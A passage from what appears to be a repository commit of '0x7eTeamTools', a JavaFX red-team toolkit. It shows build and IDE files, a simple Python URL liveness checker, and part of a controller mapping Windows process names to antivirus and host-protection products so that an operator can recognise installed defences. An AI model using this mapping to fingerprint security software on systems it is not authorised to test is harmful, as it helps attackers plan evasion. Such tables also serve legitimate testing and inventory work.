开源
8
.idea/.gitignore
generated
vendored
Normal file
@ -0,0 +1,8 @@
|
||||
# 默认忽略的文件
|
||||
/shelf/
|
||||
/workspace.xml
|
||||
# 基于编辑器的 HTTP 客户端请求
|
||||
/httpRequests/
|
||||
# Datasource local storage ignored files
|
||||
/dataSources/
|
||||
/dataSources.local.xml
|
||||
29
.idea/artifacts/0x7eTeamTools_jar.xml
generated
Normal file
@ -0,0 +1,29 @@
|
||||
<component name="ArtifactManager">
|
||||
<artifact type="jar" name="0x7eTeamTools:jar">
|
||||
<output-path>$PROJECT_DIR$/out/artifacts/0x7eTeamTools_jar</output-path>
|
||||
<root id="archive" name="0x7eTeamTools.jar">
|
||||
<element id="module-output" name="0x7eTeamTools" />
|
||||
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/org/openjfx/javafx-graphics/11.0.2/javafx-graphics-11.0.2-win.jar" path-in-jar="/" />
|
||||
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/com/google/guava/guava/19.0/guava-19.0.jar" path-in-jar="/" />
|
||||
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/org/kordamp/bootstrapfx/bootstrapfx-core/0.4.0/bootstrapfx-core-0.4.0.jar" path-in-jar="/" />
|
||||
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/org/openjfx/javafx-fxml/11.0.2/javafx-fxml-11.0.2-win.jar" path-in-jar="/" />
|
||||
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/cn/hutool/hutool-http/5.8.16/hutool-http-5.8.16.jar" path-in-jar="/" />
|
||||
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/cn/hutool/hutool-core/5.8.16/hutool-core-5.8.16.jar" path-in-jar="/" />
|
||||
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/com/oracle/database/jdbc/ojdbc8/19.8.0.0/ojdbc8-19.8.0.0.jar" path-in-jar="/" />
|
||||
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/org/openjfx/javafx-fxml/11.0.2/javafx-fxml-11.0.2.jar" path-in-jar="/" />
|
||||
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/org/openjfx/javafx-base/11.0.2/javafx-base-11.0.2.jar" path-in-jar="/" />
|
||||
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/mysql/mysql-connector-java/8.0.26/mysql-connector-java-8.0.26.jar" path-in-jar="/" />
|
||||
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/org/openjfx/javafx-base/11.0.2/javafx-base-11.0.2-win.jar" path-in-jar="/" />
|
||||
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/com/alibaba/fastjson/1.2.78/fastjson-1.2.78.jar" path-in-jar="/" />
|
||||
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/com/google/protobuf/protobuf-java/3.11.4/protobuf-java-3.11.4.jar" path-in-jar="/" />
|
||||
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/log4j/log4j/1.2.17/log4j-1.2.17.jar" path-in-jar="/" />
|
||||
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/com/jfoenix/jfoenix/8.0.10/jfoenix-8.0.10.jar" path-in-jar="/" />
|
||||
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/org/openjfx/javafx-controls/11.0.2/javafx-controls-11.0.2.jar" path-in-jar="/" />
|
||||
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/org/openjfx/javafx-controls/11.0.2/javafx-controls-11.0.2-win.jar" path-in-jar="/" />
|
||||
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/de/jensd/fontawesomefx/8.9/fontawesomefx-8.9.jar" path-in-jar="/" />
|
||||
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/org/ini4j/ini4j/0.5.4/ini4j-0.5.4.jar" path-in-jar="/" />
|
||||
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/org/projectlombok/lombok/1.18.20/lombok-1.18.20.jar" path-in-jar="/" />
|
||||
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/org/openjfx/javafx-graphics/11.0.2/javafx-graphics-11.0.2.jar" path-in-jar="/" />
|
||||
</root>
|
||||
</artifact>
|
||||
</component>
|
||||
14
.idea/compiler.xml
generated
Normal file
@ -0,0 +1,14 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="CompilerConfiguration">
|
||||
<annotationProcessing>
|
||||
<profile default="true" name="Default" enabled="true" />
|
||||
<profile name="Maven default annotation processors profile" enabled="true">
|
||||
<sourceOutputDir name="target/generated-sources/annotations" />
|
||||
<sourceTestOutputDir name="target/generated-test-sources/test-annotations" />
|
||||
<outputRelativeToContentRoot value="true" />
|
||||
<module name="0x7eTeamTools" />
|
||||
</profile>
|
||||
</annotationProcessing>
|
||||
</component>
|
||||
</project>
|
||||
7
.idea/encodings.xml
generated
Normal file
@ -0,0 +1,7 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="Encoding">
|
||||
<file url="file://$PROJECT_DIR$/src/main/java" charset="UTF-8" />
|
||||
<file url="file://$PROJECT_DIR$/src/main/resources" charset="UTF-8" />
|
||||
</component>
|
||||
</project>
|
||||
20
.idea/jarRepositories.xml
generated
Normal file
@ -0,0 +1,20 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="RemoteRepositoriesConfiguration">
|
||||
<remote-repository>
|
||||
<option name="id" value="central" />
|
||||
<option name="name" value="Central Repository" />
|
||||
<option name="url" value="https://repo.maven.apache.org/maven2" />
|
||||
</remote-repository>
|
||||
<remote-repository>
|
||||
<option name="id" value="central" />
|
||||
<option name="name" value="Maven Central repository" />
|
||||
<option name="url" value="https://repo1.maven.org/maven2" />
|
||||
</remote-repository>
|
||||
<remote-repository>
|
||||
<option name="id" value="jboss.community" />
|
||||
<option name="name" value="JBoss Community repository" />
|
||||
<option name="url" value="https://repository.jboss.org/nexus/content/repositories/public/" />
|
||||
</remote-repository>
|
||||
</component>
|
||||
</project>
|
||||
13
.idea/misc.xml
generated
Normal file
@ -0,0 +1,13 @@
|
||||
<project version="4">
|
||||
<component name="ExternalStorageConfigurationManager" enabled="true" />
|
||||
<component name="MavenProjectsManager">
|
||||
<option name="originalFiles">
|
||||
<list>
|
||||
<option value="$PROJECT_DIR$/pom.xml" />
|
||||
</list>
|
||||
</option>
|
||||
</component>
|
||||
<component name="ProjectRootManager" version="2" languageLevel="JDK_1_8" default="true" project-jdk-name="1.8" project-jdk-type="JavaSDK">
|
||||
<output url="file://$PROJECT_DIR$/out" />
|
||||
</component>
|
||||
</project>
|
||||
124
.idea/uiDesigner.xml
generated
Normal file
@ -0,0 +1,124 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="Palette2">
|
||||
<group name="Swing">
|
||||
<item class="com.intellij.uiDesigner.HSpacer" tooltip-text="Horizontal Spacer" icon="/com/intellij/uiDesigner/icons/hspacer.svg" removable="false" auto-create-binding="false" can-attach-label="false">
|
||||
<default-constraints vsize-policy="1" hsize-policy="6" anchor="0" fill="1" />
|
||||
</item>
|
||||
<item class="com.intellij.uiDesigner.VSpacer" tooltip-text="Vertical Spacer" icon="/com/intellij/uiDesigner/icons/vspacer.svg" removable="false" auto-create-binding="false" can-attach-label="false">
|
||||
<default-constraints vsize-policy="6" hsize-policy="1" anchor="0" fill="2" />
|
||||
</item>
|
||||
<item class="javax.swing.JPanel" icon="/com/intellij/uiDesigner/icons/panel.svg" removable="false" auto-create-binding="false" can-attach-label="false">
|
||||
<default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3" />
|
||||
</item>
|
||||
<item class="javax.swing.JScrollPane" icon="/com/intellij/uiDesigner/icons/scrollPane.svg" removable="false" auto-create-binding="false" can-attach-label="true">
|
||||
<default-constraints vsize-policy="7" hsize-policy="7" anchor="0" fill="3" />
|
||||
</item>
|
||||
<item class="javax.swing.JButton" icon="/com/intellij/uiDesigner/icons/button.svg" removable="false" auto-create-binding="true" can-attach-label="false">
|
||||
<default-constraints vsize-policy="0" hsize-policy="3" anchor="0" fill="1" />
|
||||
<initial-values>
|
||||
<property name="text" value="Button" />
|
||||
</initial-values>
|
||||
</item>
|
||||
<item class="javax.swing.JRadioButton" icon="/com/intellij/uiDesigner/icons/radioButton.svg" removable="false" auto-create-binding="true" can-attach-label="false">
|
||||
<default-constraints vsize-policy="0" hsize-policy="3" anchor="8" fill="0" />
|
||||
<initial-values>
|
||||
<property name="text" value="RadioButton" />
|
||||
</initial-values>
|
||||
</item>
|
||||
<item class="javax.swing.JCheckBox" icon="/com/intellij/uiDesigner/icons/checkBox.svg" removable="false" auto-create-binding="true" can-attach-label="false">
|
||||
<default-constraints vsize-policy="0" hsize-policy="3" anchor="8" fill="0" />
|
||||
<initial-values>
|
||||
<property name="text" value="CheckBox" />
|
||||
</initial-values>
|
||||
</item>
|
||||
<item class="javax.swing.JLabel" icon="/com/intellij/uiDesigner/icons/label.svg" removable="false" auto-create-binding="false" can-attach-label="false">
|
||||
<default-constraints vsize-policy="0" hsize-policy="0" anchor="8" fill="0" />
|
||||
<initial-values>
|
||||
<property name="text" value="Label" />
|
||||
</initial-values>
|
||||
</item>
|
||||
<item class="javax.swing.JTextField" icon="/com/intellij/uiDesigner/icons/textField.svg" removable="false" auto-create-binding="true" can-attach-label="true">
|
||||
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
|
||||
<preferred-size width="150" height="-1" />
|
||||
</default-constraints>
|
||||
</item>
|
||||
<item class="javax.swing.JPasswordField" icon="/com/intellij/uiDesigner/icons/passwordField.svg" removable="false" auto-create-binding="true" can-attach-label="true">
|
||||
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
|
||||
<preferred-size width="150" height="-1" />
|
||||
</default-constraints>
|
||||
</item>
|
||||
<item class="javax.swing.JFormattedTextField" icon="/com/intellij/uiDesigner/icons/formattedTextField.svg" removable="false" auto-create-binding="true" can-attach-label="true">
|
||||
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
|
||||
<preferred-size width="150" height="-1" />
|
||||
</default-constraints>
|
||||
</item>
|
||||
<item class="javax.swing.JTextArea" icon="/com/intellij/uiDesigner/icons/textArea.svg" removable="false" auto-create-binding="true" can-attach-label="true">
|
||||
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
|
||||
<preferred-size width="150" height="50" />
|
||||
</default-constraints>
|
||||
</item>
|
||||
<item class="javax.swing.JTextPane" icon="/com/intellij/uiDesigner/icons/textPane.svg" removable="false" auto-create-binding="true" can-attach-label="true">
|
||||
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
|
||||
<preferred-size width="150" height="50" />
|
||||
</default-constraints>
|
||||
</item>
|
||||
<item class="javax.swing.JEditorPane" icon="/com/intellij/uiDesigner/icons/editorPane.svg" removable="false" auto-create-binding="true" can-attach-label="true">
|
||||
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
|
||||
<preferred-size width="150" height="50" />
|
||||
</default-constraints>
|
||||
</item>
|
||||
<item class="javax.swing.JComboBox" icon="/com/intellij/uiDesigner/icons/comboBox.svg" removable="false" auto-create-binding="true" can-attach-label="true">
|
||||
<default-constraints vsize-policy="0" hsize-policy="2" anchor="8" fill="1" />
|
||||
</item>
|
||||
<item class="javax.swing.JTable" icon="/com/intellij/uiDesigner/icons/table.svg" removable="false" auto-create-binding="true" can-attach-label="false">
|
||||
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
|
||||
<preferred-size width="150" height="50" />
|
||||
</default-constraints>
|
||||
</item>
|
||||
<item class="javax.swing.JList" icon="/com/intellij/uiDesigner/icons/list.svg" removable="false" auto-create-binding="true" can-attach-label="false">
|
||||
<default-constraints vsize-policy="6" hsize-policy="2" anchor="0" fill="3">
|
||||
<preferred-size width="150" height="50" />
|
||||
</default-constraints>
|
||||
</item>
|
||||
<item class="javax.swing.JTree" icon="/com/intellij/uiDesigner/icons/tree.svg" removable="false" auto-create-binding="true" can-attach-label="false">
|
||||
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
|
||||
<preferred-size width="150" height="50" />
|
||||
</default-constraints>
|
||||
</item>
|
||||
<item class="javax.swing.JTabbedPane" icon="/com/intellij/uiDesigner/icons/tabbedPane.svg" removable="false" auto-create-binding="true" can-attach-label="false">
|
||||
<default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3">
|
||||
<preferred-size width="200" height="200" />
|
||||
</default-constraints>
|
||||
</item>
|
||||
<item class="javax.swing.JSplitPane" icon="/com/intellij/uiDesigner/icons/splitPane.svg" removable="false" auto-create-binding="false" can-attach-label="false">
|
||||
<default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3">
|
||||
<preferred-size width="200" height="200" />
|
||||
</default-constraints>
|
||||
</item>
|
||||
<item class="javax.swing.JSpinner" icon="/com/intellij/uiDesigner/icons/spinner.svg" removable="false" auto-create-binding="true" can-attach-label="true">
|
||||
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1" />
|
||||
</item>
|
||||
<item class="javax.swing.JSlider" icon="/com/intellij/uiDesigner/icons/slider.svg" removable="false" auto-create-binding="true" can-attach-label="false">
|
||||
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1" />
|
||||
</item>
|
||||
<item class="javax.swing.JSeparator" icon="/com/intellij/uiDesigner/icons/separator.svg" removable="false" auto-create-binding="false" can-attach-label="false">
|
||||
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3" />
|
||||
</item>
|
||||
<item class="javax.swing.JProgressBar" icon="/com/intellij/uiDesigner/icons/progressbar.svg" removable="false" auto-create-binding="true" can-attach-label="false">
|
||||
<default-constraints vsize-policy="0" hsize-policy="6" anchor="0" fill="1" />
|
||||
</item>
|
||||
<item class="javax.swing.JToolBar" icon="/com/intellij/uiDesigner/icons/toolbar.svg" removable="false" auto-create-binding="false" can-attach-label="false">
|
||||
<default-constraints vsize-policy="0" hsize-policy="6" anchor="0" fill="1">
|
||||
<preferred-size width="-1" height="20" />
|
||||
</default-constraints>
|
||||
</item>
|
||||
<item class="javax.swing.JToolBar$Separator" icon="/com/intellij/uiDesigner/icons/toolbarSeparator.svg" removable="false" auto-create-binding="false" can-attach-label="false">
|
||||
<default-constraints vsize-policy="0" hsize-policy="0" anchor="0" fill="1" />
|
||||
</item>
|
||||
<item class="javax.swing.JScrollBar" icon="/com/intellij/uiDesigner/icons/scrollbar.svg" removable="false" auto-create-binding="true" can-attach-label="false">
|
||||
<default-constraints vsize-policy="6" hsize-policy="0" anchor="0" fill="2" />
|
||||
</item>
|
||||
</group>
|
||||
</component>
|
||||
</project>
|
||||
1
conf/config.ini
Normal file
@ -0,0 +1 @@
|
||||
|
||||
27
conf/poc/工具类/存活检测.py
Normal file
@ -0,0 +1,27 @@
|
||||
#!/usr/bin/python3
|
||||
# -*- coding:utf-8 -*-
|
||||
import requests,sys
|
||||
requests.urllib3.disable_warnings()
|
||||
|
||||
|
||||
proxies = {
|
||||
'http': 'http://127.0.0.1:7890',
|
||||
'https': 'http://127.0.0.1:7890'
|
||||
}
|
||||
|
||||
def main(url):
|
||||
headers = {'Connection': 'keep-alive',
|
||||
'Cache-Control': 'max-age=0',
|
||||
'Upgrade-Insecure-Requests': '1',
|
||||
'User-Agent': 'Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36',
|
||||
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
|
||||
'Accept-Encoding': 'gzip, deflate',
|
||||
'Accept-Language': 'en-US,en;q=0.9,fr;q=0.8',
|
||||
'referer': 'www.google.com'}
|
||||
req = requests.get(url,timeout=20,headers=headers,verify=False)
|
||||
if req.status_code == 200:
|
||||
print("存活")
|
||||
else:
|
||||
print(str(req.status_code)+"失败")
|
||||
|
||||
main(sys.argv[1])
|
||||
BIN
lib/jfoenix-8.0.10.jar
Normal file
130
pom.xml
Normal file
@ -0,0 +1,130 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
|
||||
<groupId>com.0x7eTeamTools</groupId>
|
||||
<artifactId>0x7eTeamTools</artifactId>
|
||||
<version>1.1-SNAPSHOT</version>
|
||||
|
||||
<properties>
|
||||
<maven.compiler.source>8</maven.compiler.source>
|
||||
<maven.compiler.target>8</maven.compiler.target>
|
||||
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
|
||||
</properties>
|
||||
|
||||
|
||||
<dependencies>
|
||||
|
||||
<!-- https://mvnrepository.com/artifact/org.openjfx/javafx-controls -->
|
||||
<dependency>
|
||||
<groupId>org.openjfx</groupId>
|
||||
<artifactId>javafx-controls</artifactId>
|
||||
<version>11.0.2</version>
|
||||
</dependency>
|
||||
|
||||
<!-- https://mvnrepository.com/artifact/org.openjfx/javafx-fxml -->
|
||||
<dependency>
|
||||
<groupId>org.openjfx</groupId>
|
||||
<artifactId>javafx-fxml</artifactId>
|
||||
<version>11.0.2</version>
|
||||
</dependency>
|
||||
|
||||
<!-- https://mvnrepository.com/artifact/org.kordamp.bootstrapfx/bootstrapfx-core -->
|
||||
<dependency>
|
||||
<groupId>org.kordamp.bootstrapfx</groupId>
|
||||
<artifactId>bootstrapfx-core</artifactId>
|
||||
<version>0.4.0</version>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>com.jfoenix</groupId>
|
||||
<artifactId>jfoenix</artifactId>
|
||||
<version>8.0.10</version>
|
||||
</dependency>
|
||||
<!-- https://mvnrepository.com/artifact/com.jfoenix/jfoenix -->
|
||||
<dependency>
|
||||
<groupId>de.jensd</groupId>
|
||||
<artifactId>fontawesomefx</artifactId>
|
||||
<version>8.9</version>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>com.google.guava</groupId>
|
||||
<artifactId>guava</artifactId>
|
||||
<version>19.0</version>
|
||||
</dependency>
|
||||
|
||||
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
|
||||
<dependency>
|
||||
<groupId>com.alibaba</groupId>
|
||||
<artifactId>fastjson</artifactId>
|
||||
<version>1.2.78</version>
|
||||
</dependency>
|
||||
|
||||
<!-- log4j support -->
|
||||
<dependency>
|
||||
<groupId>log4j</groupId>
|
||||
<artifactId>log4j</artifactId>
|
||||
<version>1.2.17</version>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>org.ini4j</groupId>
|
||||
<artifactId>ini4j</artifactId>
|
||||
<version>0.5.4</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>mysql</groupId>
|
||||
<artifactId>mysql-connector-java</artifactId>
|
||||
<version>8.0.26</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.oracle.database.jdbc</groupId>
|
||||
<artifactId>ojdbc8</artifactId>
|
||||
<version>19.8.0.0</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>cn.hutool</groupId>
|
||||
<artifactId>hutool-http</artifactId>
|
||||
<version>5.8.16</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.projectlombok</groupId>
|
||||
<artifactId>lombok</artifactId>
|
||||
<version>1.18.20</version>
|
||||
<scope>compile</scope>
|
||||
</dependency>
|
||||
|
||||
</dependencies>
|
||||
|
||||
<build>
|
||||
<pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
|
||||
<plugins>
|
||||
<!-- 打包依赖包到jar中 -->
|
||||
<plugin>
|
||||
<groupId>org.apache.maven.plugins</groupId>
|
||||
<artifactId>maven-assembly-plugin</artifactId>
|
||||
<!-- <version>3.3.0</version>-->
|
||||
<configuration>
|
||||
<archive>
|
||||
<manifest>
|
||||
<mainClass>com.sec421.Main</mainClass>
|
||||
</manifest>
|
||||
</archive>
|
||||
<!-- get all project dependencies -->
|
||||
<descriptorRefs>
|
||||
<descriptorRef>jar-with-dependencies</descriptorRef>
|
||||
</descriptorRefs>
|
||||
<!-- MainClass in mainfest make a executable jar -->
|
||||
<!-- 运行文件名 -->
|
||||
<finalName>0x7eTeamTools</finalName>
|
||||
</configuration>
|
||||
</plugin>
|
||||
|
||||
</plugins>
|
||||
|
||||
</pluginManagement>
|
||||
</build>
|
||||
</project>
|
||||
30
src/main/java/com/sec421/Main.java
Normal file
@ -0,0 +1,30 @@
|
||||
package com.sec421;
|
||||
/**
|
||||
* @author 0x421
|
||||
* @date 2023/12/28 11:20
|
||||
* @github https://github.com/0x7eTeam
|
||||
*/
|
||||
import javafx.application.Application;
|
||||
import javafx.fxml.FXMLLoader;
|
||||
import javafx.scene.Parent;
|
||||
import javafx.scene.Scene;
|
||||
import javafx.scene.image.Image;
|
||||
import javafx.stage.Stage;
|
||||
|
||||
|
||||
public class Main extends Application {
|
||||
|
||||
@Override
|
||||
public void start(Stage primaryStage) throws Exception{
|
||||
Parent root = FXMLLoader.load(getClass().getClassLoader().getResource("fxml/gui.fxml"));
|
||||
primaryStage.setTitle("0x7eTeamTools v1.1 By 陆泽");
|
||||
// primaryStage.setResizable(false);
|
||||
primaryStage.setScene(new Scene(root));
|
||||
primaryStage.getIcons().add(new Image(getClass().getClassLoader().getResource("img/logo_2256.gif").toString()));
|
||||
primaryStage.show();
|
||||
}
|
||||
|
||||
public static void main(String[] args) {
|
||||
launch(args);
|
||||
}
|
||||
}
|
||||
25
src/main/java/com/sec421/Test.java
Normal file
@ -0,0 +1,25 @@
|
||||
package com.sec421;
|
||||
|
||||
|
||||
import cn.hutool.http.HttpRequest;
|
||||
import com.sec421.controller.js.JsController;
|
||||
import com.sec421.tools.Tools;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
|
||||
public class Test {
|
||||
public static void main(String[] args) {
|
||||
String html = " <div class=\"result-molecule new-pmd\"\n" +
|
||||
" tpl=\"app/rs\"\n" +
|
||||
" m-name=\"molecules/app/rs/result_6b2d4b0\"\n" +
|
||||
" m-path=\"../../pss.bdstatic.com/r/www/cache/static/molecules/app/rs/result_6b2d4b0\"\n" +
|
||||
" m-path=\"/pss.bdstatic.com/r/www/cache/static/molecules/app/rs/result_6b2d4b0\"\n" +
|
||||
" m-path=\"./pss.bdstatic.com/r/www/cache/static/molecules/app/rs/result_6b2d4b0\"\n" +
|
||||
" data-cost={\"renderCost\":\"0.2\",\"dataCost\":0}\n" +
|
||||
" >";
|
||||
System.out.println(html);
|
||||
Set<String> strings = Tools.extractJsInterface(html);
|
||||
System.out.println(strings);
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,567 @@
|
||||
package com.sec421.controller.baseTools;
|
||||
/**
|
||||
* @author 0x421
|
||||
* @date 2023/12/28 11:20
|
||||
* @github https://github.com/0x7eTeam
|
||||
*/
|
||||
import javafx.scene.control.TextArea;
|
||||
|
||||
import java.util.HashMap;
|
||||
|
||||
public class AVRecognizeController {
|
||||
|
||||
public void AVCheck(TextArea textArea, String avstr){
|
||||
HashMap<String, String> avMap = new HashMap<>();
|
||||
avMap.put("360tray.exe", "360安全卫士-实时保护");
|
||||
avMap.put("360safe.exe", "360安全卫士-主程序");
|
||||
avMap.put("ZhuDongFangYu.exe", "360安全卫士-主动防御");
|
||||
avMap.put("360sd.exe", "360杀毒");
|
||||
avMap.put("a2guard.exe", "a-squared杀毒");
|
||||
avMap.put("ad-watch.exe", "Lavasoft杀毒");
|
||||
avMap.put("cleaner8.exe", "The Cleaner杀毒");
|
||||
avMap.put("vba32lder.exe", "vb32杀毒");
|
||||
avMap.put("MongoosaGUI.exe", "Mongoosa杀毒");
|
||||
avMap.put("CorantiControlCenter32.exe", "Coranti2012杀毒");
|
||||
avMap.put("F-PROT.exe", "F-Prot AntiVirus");
|
||||
avMap.put("CMCTrayIcon.exe", "CMC杀毒");
|
||||
avMap.put("K7TSecurity.exe", "K7杀毒");
|
||||
avMap.put("UnThreat.exe", "UnThreat杀毒");
|
||||
avMap.put("CKSoftShiedAntivirus4.exe", "Shield Antivirus杀毒");
|
||||
avMap.put("AVWatchService.exe", "VIRUSfighter杀毒");
|
||||
avMap.put("ArcaTasksService.exe", "ArcaVir杀毒");
|
||||
avMap.put("iptray.exe", "Immunet杀毒");
|
||||
avMap.put("PSafeSysTray.exe", "PSafe杀毒");
|
||||
avMap.put("nspupsvc.exe", "nProtect杀毒");
|
||||
avMap.put("SpywareTerminatorShield.exe", "SpywareTerminator反间谍软件");
|
||||
avMap.put("BKavService.exe", "Bkav杀毒");
|
||||
avMap.put("MsMpEng.exe", "Microsoft Security Essentials");
|
||||
avMap.put("SBAMSvc.exe", "VIPRE");
|
||||
avMap.put("ccSvcHst.exe", "Norton杀毒");
|
||||
avMap.put("f-secure.exe", "冰岛");
|
||||
avMap.put("avp.exe", "Kaspersky");
|
||||
avMap.put("KvMonXP.exe", "江民杀毒");
|
||||
avMap.put("RavMonD.exe", "瑞星杀毒");
|
||||
avMap.put("Mcshield.exe", "McAfee");
|
||||
avMap.put("Tbmon.exe", "McAfee");
|
||||
avMap.put("Frameworkservice.exe", "McAfee");
|
||||
avMap.put("egui.exe", "ESET NOD32");
|
||||
avMap.put("ekrn.exe", "ESET NOD32");
|
||||
avMap.put("eguiProxy.exe", "ESET NOD32");
|
||||
avMap.put("kxetray.exe", "金山毒霸");
|
||||
avMap.put("knsdtray.exe", "可牛杀毒");
|
||||
avMap.put("TMBMSRV.exe", "趋势杀毒");
|
||||
avMap.put("avcenter.exe", "Avira(小红伞)");
|
||||
avMap.put("avguard.exe", "Avira(小红伞)");
|
||||
avMap.put("avgnt.exe", "Avira(小红伞)");
|
||||
avMap.put("sched.exe", "Avira(小红伞)");
|
||||
avMap.put("ashDisp.exe", "Avast网络安全");
|
||||
avMap.put("rtvscan.exe", "诺顿杀毒");
|
||||
avMap.put("ccapp.exe", "SymantecNorton");
|
||||
avMap.put("NPFMntor.exe", "Norton杀毒软件");
|
||||
avMap.put("ccSetMgr.exe", "赛门铁克");
|
||||
avMap.put("ccRegVfy.exe", "Norton杀毒软件");
|
||||
avMap.put("ksafe.exe", "金山卫士");
|
||||
avMap.put("QQPCRTP.exe", "QQ电脑管家");
|
||||
avMap.put("avgwdsvc.exe", "AVG杀毒");
|
||||
avMap.put("QUHLPSVC.exe", "QUICK HEAL杀毒");
|
||||
avMap.put("mssecess.exe", "微软杀毒");
|
||||
avMap.put("SavProgress.exe", "Sophos杀毒");
|
||||
avMap.put("SophosUI.exe", "Sophos杀毒");
|
||||
avMap.put("SophosFS.exe", "Sophos杀毒");
|
||||
avMap.put("SophosHealth.exe", "Sophos杀毒");
|
||||
avMap.put("SophosSafestore64.exe", "Sophos杀毒");
|
||||
avMap.put("SophosCleanM.exe", "Sophos杀毒");
|
||||
avMap.put("fsavgui.exe", "F-Secure杀毒");
|
||||
avMap.put("vsserv.exe", "比特梵德");
|
||||
avMap.put("remupd.exe", "熊猫卫士");
|
||||
avMap.put("FortiTray.exe", "飞塔");
|
||||
avMap.put("safedog.exe", "安全狗");
|
||||
avMap.put("parmor.exe", "木马克星");
|
||||
avMap.put("Iparmor.exe.exe", "木马克星");
|
||||
avMap.put("beikesan.exe", "贝壳云安全");
|
||||
avMap.put("KSWebShield.exe", "金山网盾");
|
||||
avMap.put("TrojanHunter.exe", "木马猎手");
|
||||
avMap.put("GG.exe", "巨盾网游安全盾");
|
||||
avMap.put("adam.exe", "绿鹰安全精灵");
|
||||
avMap.put("AST.exe", "超级巡警");
|
||||
avMap.put("ananwidget.exe", "墨者安全专家");
|
||||
avMap.put("AVK.exe", "AntiVirusKit");
|
||||
avMap.put("avg.exe", "AVG Anti-Virus");
|
||||
avMap.put("spidernt.exe", "Dr.web");
|
||||
avMap.put("avgaurd.exe", "Avira Antivir");
|
||||
avMap.put("vsmon.exe", "Zone Alarm");
|
||||
avMap.put("cpf.exe", "Comodo");
|
||||
avMap.put("outpost.exe", "Outpost Firewall");
|
||||
avMap.put("rfwmain.exe", "瑞星防火墙");
|
||||
avMap.put("kpfwtray.exe", "金山网镖");
|
||||
avMap.put("FYFireWall.exe", "风云防火墙");
|
||||
avMap.put("MPMon.exe", "微点主动防御");
|
||||
avMap.put("pfw.exe", "天网防火墙");
|
||||
avMap.put("BaiduSdSvc.exe", "百度杀毒-服务进程");
|
||||
avMap.put("BaiduSdTray.exe", "百度杀毒-托盘进程");
|
||||
avMap.put("BaiduSd.exe", "百度杀毒-主程序");
|
||||
avMap.put("SafeDogGuardCenter.exe", "安全狗");
|
||||
avMap.put("safedogupdatecenter.exe", "安全狗");
|
||||
avMap.put("safedogguardcenter.exe", "安全狗");
|
||||
avMap.put("SafeDogSiteIIS.exe", "安全狗");
|
||||
avMap.put("SafeDogTray.exe", "安全狗");
|
||||
avMap.put("SafeDogServerUI.exe", "安全狗");
|
||||
avMap.put("D_Safe_Manage.exe", "D盾");
|
||||
avMap.put("d_manage.exe", "D盾");
|
||||
avMap.put("yunsuo_agent_service.exe", "云锁");
|
||||
avMap.put("yunsuo_agent_daemon.exe", "云锁");
|
||||
avMap.put("HwsPanel.exe", "护卫神");
|
||||
avMap.put("hws_ui.exe", "护卫神");
|
||||
avMap.put("hws.exe", "护卫神");
|
||||
